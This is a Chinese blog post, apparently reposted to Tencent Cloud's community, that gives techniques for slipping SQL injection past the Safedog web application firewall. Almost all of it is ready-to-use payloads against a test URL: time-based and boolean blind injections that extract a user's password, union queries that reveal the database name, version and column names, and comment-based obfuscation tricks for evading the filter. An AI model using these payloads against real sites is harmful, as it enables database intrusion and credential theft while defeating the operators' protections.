前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >过安全狗waf注入技巧

过安全狗waf注入技巧

作者头像
奶糖味的代言
发布2018-04-16 15:27:03
8170
发布2018-04-16 15:27:03
举报
文章被收录于专栏:小白安全小白安全

 过安全狗waf注入

前提web页面存在注入漏洞

测试开始本地搭建环境

环境  

安全狗(APACE版)V4.0 防护规则全开

绕过

1. 延时盲注

http://192.168.6.145/test.php?id=2' and if(substring((select password from (blog.users) where id=2 limit 1 offset 0),2,1)>1,sleep(5 ),1)–+

2. 布尔盲注

http://192.168.6.145/test.php?id=2' and substring((select password from (blog.users) where id=2 limit 1 offset 0),2,1)>1–+

3. 查库名/用户名

http://192.168.6.145/test.php?id=2'union/*!40000DISTINCT*/(/*!40000select*/1,(/*!40000database*/()),3)– -

4. 查版本

http://192.168.6.145/test.php?id=2'union/*!40000DISTINCT*/(/*!40000select*/1,{/*!f*/version()},3)– -

5. 联合查询

http://192.168.6.145/test.php?id=-1'union /*!40000DISTINCT*/(/*!40000select*/1,(select group_concat(column_name) from (information_schema.columns) where table_name='users'),3)– -

技巧

1. union select 1,2,3 => union/*!40000DISTINCT*/(/*!40000select*/1,2,3)

2. select password from => select password*1.from user => select password from (user)

3. version() => {/*!f*/version()} 

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档